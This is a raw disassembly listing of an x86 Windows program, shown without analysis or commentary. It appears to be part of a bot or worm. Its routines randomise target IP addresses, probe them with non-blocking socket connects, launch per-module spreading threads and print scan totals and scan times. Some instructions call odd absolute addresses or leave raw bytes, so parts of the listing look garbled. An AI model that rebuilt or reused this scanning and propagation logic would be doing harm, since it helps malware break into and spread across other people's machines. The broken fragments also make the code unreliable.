loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj
pop esi
pop ebp
retn
sub_40B44F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B506
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B506: ; CODE XREF: sub_40B4E5+19j
push ebx
push esi
loc_40B508: ; CODE XREF: sub_40B4E5+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B516
cmp [ebp+var_4], eax
jnz short loc_40B562
loc_40B516: ; CODE XREF: sub_40B4E5+2Aj
test edi, edi
jnz short loc_40B557
cmp bl, 2Dh
jnz short loc_40B54B
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40B54B
cmp al, 5Dh
jz short loc_40B54B
cmp [ebp+var_4], edi
jnz short loc_40B54B
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B557
cmp bl, al
jg short loc_40B557
push 1
mov [edx], esi
pop edi
jmp short loc_40B557
; ---------------------------------------------------------------------------
loc_40B54B: ; CODE XREF: sub_40B4E5+38j
; sub_40B4E5+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B557
push 1
pop edi
loc_40B557: ; CODE XREF: sub_40B4E5+33j
; sub_40B4E5+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40B508
; ---------------------------------------------------------------------------
loc_40B562: ; CODE XREF: sub_40B4E5+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B56F
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B56F: ; CODE XREF: sub_40B4E5+82j
cmp edi, eax
jnz short loc_40B578
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B578: ; CODE XREF: sub_40B4E5+8Cj
mov eax, edi
pop edi
leave
retn
sub_40B4E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B57D proc near ; CODE XREF: sub_40B44F+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40B599: ; CODE XREF: sub_40B57D+3Aj
cmp [eax], bl
jz short loc_40B5B9
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40B5AE
cmp cl, 2Ah
jnz short loc_40B5B9
cmp cl, 3Fh
jnz short loc_40B5B1
loc_40B5AE: ; CODE XREF: sub_40B57D+25j
inc eax
mov [edi], eax
loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40B599
; ---------------------------------------------------------------------------
loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej
; sub_40B57D+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40B5C4
inc dword ptr [esi]
jmp short loc_40B5B9
; ---------------------------------------------------------------------------
loc_40B5C4: ; CODE XREF: sub_40B57D+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40B5E5
mov edx, [esi]
cmp [edx], bl
jz short loc_40B5D6
xor eax, eax
jmp short loc_40B645
; ---------------------------------------------------------------------------
loc_40B5D6: ; CODE XREF: sub_40B57D+53j
cmp cl, bl
jnz short loc_40B5E5
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40B5E5
push 1
pop eax
jmp short loc_40B645
; ---------------------------------------------------------------------------
loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj
; sub_40B57D+5Bj ...
push eax
push dword ptr [esi]
call sub_40B44F
pop ecx
test eax, eax
pop ecx
jnz short loc_40B62F
loc_40B5F3: ; CODE XREF: sub_40B57D+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40B5F7: ; CODE XREF: sub_40B57D+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40B60F
cmp cl, 5Bh
jz short loc_40B60F
cmp dl, bl
jz short loc_40B60F
inc eax
mov [edi], eax
jmp short loc_40B5F7
; ---------------------------------------------------------------------------
loc_40B60F: ; CODE XREF: sub_40B57D+82j
; sub_40B57D+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40B626
push eax
push dword ptr [esi]
call sub_40B44F
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B62B
; ---------------------------------------------------------------------------
loc_40B626: ; CODE XREF: sub_40B57D+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B62B: ; CODE XREF: sub_40B57D+A7j
cmp eax, ebx
jnz short loc_40B5F3
loc_40B62F: ; CODE XREF: sub_40B57D+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B642
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B642
mov [ebp+var_4], 1
loc_40B642: ; CODE XREF: sub_40B57D+B6j
; sub_40B57D+BCj
mov eax, [ebp+var_4]
loc_40B645: ; CODE XREF: sub_40B57D+57j
; sub_40B57D+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40B57D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_4317A4
push eax
xor ebx, ebx
call sub_41B886
cmp dword_431408, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B6BC
push esi
mov esi, offset dword_431410
loc_40B67D: ; CODE XREF: sub_40B64A+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B6B2
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_431798
push eax
call sub_41B886
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C1E0
add esp, 1Ch
loc_40B6B2: ; CODE XREF: sub_40B64A+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B67D
pop esi
loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj
push dword_4CACB4
call sub_41A88B
pop ecx
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41B886
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C1E0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_200]
push eax
call sub_4151AC
add esp, 34h
pop edi
pop ebx
leave
retn
sub_40B64A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4CDA80
mov ecx, dword_4CDA7C
push esi
push dword_4CACB4
lea esi, [ecx+eax]
call sub_41A88B
pop ecx
push eax
push esi
push dword_4CDA80
lea eax, [ebp+var_200]
push dword_4CDA7C
push offset unk_4317C4
push eax
call sub_41B886
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_200]
push eax
call sub_4151AC
add esp, 30h
pop esi
leave
retn
sub_40B719 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4CACB4
call sub_41A88B
pop ecx
push eax
lea eax, [ebp+var_200]
push dword_4CDCC4
push offset unk_43180C
push eax
call sub_41B886
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_200]
push eax
call sub_4151AC
add esp, 28h
leave
retn
sub_40B785 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41BB20
push edi
lea eax, [ebp+var_800]
push offset dword_431858
push eax
call sub_41B886
cmp dword_431408, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40B846
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40B80F: ; CODE XREF: sub_40B7DA+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_431848
push eax
call sub_41B886
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C1E0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40B80F
pop esi
loc_40B846: ; CODE XREF: sub_40B7DA+2Dj
push dword_4CACB4
call sub_41A88B
pop ecx
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41B886
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C1E0
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_800]
push eax
call sub_4151AC
add esp, 30h
pop edi
leave
retn
sub_40B7DA endp
; ---------------------------------------------------------------------------
byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
sub esp, 3F0h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp-134h]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp-134h]
push eax
call dword_4CAFB4
xor edi, edi
mov [ebp-8], eax
cmp dword_431408, edi
mov [ebp-4], edi
mov [ebp+8], edi
jz loc_40BA03
mov ebx, offset dword_431408
mov eax, ebx
loc_40B8F2: ; CODE XREF: ___:0040B9FDj
push dword ptr [ebp-1Ch]
push dword ptr [eax]
push dword ptr [ebp-8]
call sub_40C087
add esp, 0Ch
cmp eax, 1
jnz loc_40B9F3
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp-134h]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp-3F0h]
push offset unk_4318A8
push eax
call sub_41B886
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409A72
lea eax, [ebp-3F0h]
push eax
call sub_4151AC
add esp, 2Ch
lea eax, [ebp-134h]
push eax
lea eax, [ebp-1ECh]
push eax
call sub_41B886
pop ecx
lea eax, [ebp-15Ch]
pop ecx
push esi
push eax
call sub_41B886
cmp byte ptr [ebp-0A4h], 0
pop ecx
pop ecx
lea eax, [ebp-0A4h]
jnz short loc_40B98E
lea eax, [ebp-124h]
loc_40B98E: ; CODE XREF: ___:0040B986j
push eax
lea eax, [ebp-1DCh]
push eax
call sub_41B886
mov eax, [ebp-24h]
pop ecx
mov [ebp-1F0h], eax
mov eax, [ebp-14h]
mov [ebp-140h], eax
mov eax, [ebp-10h]
pop ecx
mov [ebp-13Ch], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp-150h], eax
mov eax, [ebp-18h]
push 2Fh
mov [ebp-14Ch], eax
mov eax, [ebp+8]
pop ecx
lea esi, [ebp-1F0h]
mov edi, esp
mov [ebp-148h], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc dword ptr [ebp-4]
xor edi, edi
loc_40B9F3: ; CODE XREF: ___:0040B905j
inc dword ptr [ebp+8]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40B8F2
loc_40BA03: ; CODE XREF: ___:0040B8E5j
push dword ptr [ebp-4]
lea eax, [ebp-134h]
push eax
lea eax, [ebp-3F0h]
push offset unk_431874
push eax
call sub_41B886
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409A72
lea eax, [ebp-3F0h]
push eax
call sub_4151AC
push dword ptr [ebp-18h]
call sub_40B412
add esp, 2Ch
push edi
nop
; ---------------------------------------------------------------------------
db 0E8h, 0AAh, 45h
; ---------------------------------------------------------------------------
sub eax, [edx]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B33E
test eax, eax
pop ecx
jle short loc_40BA92
mov eax, [ebp+arg_C]
push dword_4CB0C0[eax*8]
call dword_4CB000
push eax
lea eax, [ebp+var_200]
push offset unk_4318F8
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_40BAA5
; ---------------------------------------------------------------------------
loc_40BA92: ; CODE XREF: sub_40BA56+13j
lea eax, [ebp+var_200]
push offset unk_4318D8
push eax
call sub_41B886
pop ecx
pop ecx
loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_200]
push eax
call sub_4151AC
add esp, 18h
leave
retn
sub_40BA56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BACD proc near ; CODE XREF: sub_40C124+267p
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40BF9F
shl eax, 6
xor ebx, ebx
cmp dword_431414[eax], ebx
jz loc_40BF9F
push 5
call sub_40B33E
test eax, eax
pop ecx
jnz loc_40BD54
mov eax, dword_429078
push edi
mov esi, offset dword_4CD17C
push 104h
push esi
push ebx
mov dword_4CD38C, eax
mov dword_4CD388, ebx
call near ptr 2650000h
nop
mov edi, offset byte_429108
push 103h
push edi
push offset dword_4CD280
call sub_41B5F0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CD178, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4CD410, eax
jnz short loc_40BB80
lea eax, [ebp+arg_10]
push eax
push offset dword_4CD390
call sub_41B5F0
add esp, 0Ch
mov dword_4CD414, 1
jmp short loc_40BB9A
; ---------------------------------------------------------------------------
loc_40BB80: ; CODE XREF: sub_40BACD+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CD390
call sub_41B5F0
add esp, 0Ch
mov dword_4CD414, ebx
loc_40BB9A: ; CODE XREF: sub_40BACD+B1j
push esi
lea eax, [ebp+var_204]
push dword_4CD38C
push offset unk_42BE5C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40B0F6
add esp, 1Ch
mov dword_4CD384, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD178
push offset word_411796
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, dword_4CD384
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40BC08
loc_40BBF6: ; CODE XREF: sub_40BACD+139j
cmp dword_4CD418, ebx
jnz short loc_40BC23
push 32h
nop
call near ptr 2650E43h
jmp short loc_40BBF6
; ---------------------------------------------------------------------------
loc_40BC08: ; CODE XREF: sub_40BACD+127j
call near ptr 2660A00h
nop
push eax
lea eax, [ebp+var_204]
push offset unk_431A18
push eax
call sub_41B886
add esp, 0Ch
loc_40BC23: ; CODE XREF: sub_40BACD+12Fj
lea eax, [ebp+var_204]
push eax
call sub_4151AC
mov eax, dword_4CACB0
mov esi, offset dword_4CD424
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4CD634, eax
mov dword_4CD630, ebx
call near ptr 2650000h
nop
push 103h
push edi
push offset dword_4CD528
call sub_41B5F0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CD420, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4CD6B8, eax
push 7Fh
jnz short loc_40BCA4
lea eax, [ebp+arg_10]
push eax
push offset dword_4CD638
call sub_41B5F0
add esp, 0Ch
mov dword_4CD6BC, 1
jmp short loc_40BCBE
; ---------------------------------------------------------------------------
loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CD638
call sub_41B5F0
add esp, 0Ch
mov dword_4CD6BC, ebx
loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j
push esi
lea eax, [ebp+var_204]
push dword_4CD634
push offset unk_4319E4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40B0F6
add esp, 1Ch
mov dword_4CD62C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD420
push offset byte_40E991
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, dword_4CD62C
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40BD2C
loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj
cmp dword_4CD6C0, ebx
jnz short loc_40BD47
push 32h
nop
call near ptr 2650E43h
jmp short loc_40BD1A
; ---------------------------------------------------------------------------
loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj
nop
call near ptr 2660A00h
push eax
lea eax, [ebp+var_204]
push offset unk_4319B0
push eax
call sub_41B886
add esp, 0Ch
loc_40BD47: ; CODE XREF: sub_40BACD+253j
lea eax, [ebp+var_204]
push eax
call sub_4151AC
pop ecx
loc_40BD54: ; CODE XREF: sub_40BACD+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_43141C[ecx], ebx
jz loc_40BE7D
push 7
call sub_40B33E
test eax, eax
pop ecx
jnz loc_40BE77
mov eax, dword_4CDCBC
cmp [ebp+arg_90], bl
mov dword_4CD0E4, eax
mov eax, [ebp+arg_110]
mov dword_4CD0D8, eax
mov eax, [ebp+arg_138]
mov dword_4CD0E0, ebx
mov dword_4CD168, eax
push 7Fh
jnz short loc_40BDC8
lea eax, [ebp+arg_10]
push eax
push offset dword_4CD0E8
call sub_41B5F0
add esp, 0Ch
mov dword_4CD16C, 1
jmp short loc_40BDE2
; ---------------------------------------------------------------------------
loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj
lea eax, [ebp+arg_90]
push eax
push offset dword_4CD0E8
call sub_41B5F0
add esp, 0Ch
mov dword_4CD16C, ebx
loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j
push dword_4CD0E4
lea eax, [ebp+var_204]
push offset unk_431980
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40B0F6
add esp, 18h
mov dword_4CD0DC, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD0D8
push offset byte_40E6EF
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, dword_4CD0DC
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40BE4F
loc_40BE3D: ; CODE XREF: sub_40BACD+380j
cmp dword_4CD170, ebx
jnz short loc_40BE6A
push 32h
call near ptr 2650E43h
nop
jmp short loc_40BE3D
; ---------------------------------------------------------------------------
loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej
call near ptr 2660A00h
nop
push eax
lea eax, [ebp+var_204]
push offset unk_431948
push eax
call sub_41B886
add esp, 0Ch
loc_40BE6A: ; CODE XREF: sub_40BACD+376j
lea eax, [ebp+var_204]
push eax
call sub_4151AC
pop ecx
loc_40BE77: ; CODE XREF: sub_40BACD+2A8j
mov eax, [ebp+arg_130]
loc_40BE7D: ; CODE XREF: sub_40BACD+298j
shl eax, 6
cmp dword_431418[eax], ebx
jz loc_40BF9F
push 3
call sub_40B33E
test eax, eax
pop ecx
jnz loc_40BF9F
mov esi, offset dword_4CD954
push 104h
push esi
push ebx
call near ptr 2650000h
nop
push 5Ch
push esi
call sub_41BE40
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40BEBE
mov [eax], bl
loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj
mov eax, dword_42907C
mov dword_4CDA6C, ebx
mov dword_4CDA58, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4CD6CC
call sub_41B886
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4CD6C8, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4CDA58
mov dword_4CDA64, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4CDA68, ecx
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42BDE4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40B0F6
add esp, 20h
mov dword_4CDA60, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD6C8
push offset sub_40F0D5
push ebx
push ebx
call near ptr 2660000h
nop
mov ecx, dword_4CDA60
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40BF77
loc_40BF65: ; CODE XREF: sub_40BACD+4A8j
cmp dword_4CDA74, ebx
jnz short loc_40BF92
push 32h
nop
call near ptr 2650E43h
jmp short loc_40BF65
; ---------------------------------------------------------------------------
loc_40BF77: ; CODE XREF: sub_40BACD+496j
nop
call near ptr 2660A00h
push eax
lea eax, [ebp+var_204]
push offset unk_431914
push eax
call sub_41B886
add esp, 0Ch
loc_40BF92: ; CODE XREF: sub_40BACD+49Ej
lea eax, [ebp+var_204]
push eax
call sub_4151AC
pop ecx
loc_40BF9F: ; CODE XREF: sub_40BACD+14j
; sub_40BACD+25j ...
pop esi
pop ebx
leave
retn
sub_40BACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4CB0C0h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_41C310
add esp, 0Ch
push [ebp+arg_0]
call dword_4CAE9C
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CAF70
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_41C310
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40BFA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFEB proc near ; CODE XREF: sub_40C124+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41AFE0
cmp eax, 0Fh
pop ecx
jbe short loc_40C013
xor eax, eax
jmp short loc_40C084
; ---------------------------------------------------------------------------
loc_40C013: ; CODE XREF: sub_40BFEB+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41C645
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C040
call sub_41B8E2
mov [ebp+var_C], eax
loc_40C040: ; CODE XREF: sub_40BFEB+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C04D
call sub_41B8E2
mov [ebp+var_8], eax
loc_40C04D: ; CODE XREF: sub_40BFEB+58j
cmp [ebp+var_4], esi
jnz short loc_40C05A
call sub_41B8E2
mov [ebp+var_4], eax
loc_40C05A: ; CODE XREF: sub_40BFEB+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C066
call sub_41B8E2
loc_40C066: ; CODE XREF: sub_40BFEB+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4CB0C0[ecx*8], eax
loc_40C084: ; CODE XREF: sub_40BFEB+26j
pop esi
leave
retn
sub_40BFEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C087 proc near ; CODE XREF: ___:0040B8FAp
; sub_40C124+BBp
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4CAFF4
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C0B0
xor eax, eax
jmp short loc_40C11F
; ---------------------------------------------------------------------------
loc_40C0B0: ; CODE XREF: sub_40C087+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4CAF74
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4CB010
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4CAF1C
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4CAF5C
push esi
mov edi, eax
call dword_4CB00C
xor eax, eax
cmp edi, ebx
setnle al
loc_40C11F: ; CODE XREF: sub_40C087+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C087 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C124 proc near ; DATA XREF: sub_40C124+353o
var_29C = dword ptr -29Ch
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_1CC = byte ptr -1CCh
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_14C = byte ptr -14Ch
var_140 = byte ptr -140h
var_13C = byte ptr -13Ch
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call near ptr 267098Eh
nop
push eax
call sub_41B8D8
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C16B: ; CODE XREF: sub_40C124+204j
mov eax, dword_43DEB4[ebx]
cmp dword_4CB0C4[eax*8], 0
jz loc_40C32D
cmp [ebp+var_10], 0
push eax
jz short loc_40C195
lea eax, [ebp+var_150]
push eax
call sub_40BFEB
pop ecx
jmp short loc_40C19A
; ---------------------------------------------------------------------------
loc_40C195: ; CODE XREF: sub_40C124+60j
call sub_40BFA3
loc_40C19A: ; CODE XREF: sub_40C124+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_43DEB4[ebx]
push [ebp+var_3C]
push edi
call dword_4CB000
push eax
lea eax, [ebp+var_28C]
push offset unk_431A74
push eax
call sub_41B886
add esp, 18h
lea eax, [ebp+var_28C]
push eax
lea eax, dword_43DCB0[ebx]
push eax
call sub_41B886
push [ebp+var_38]
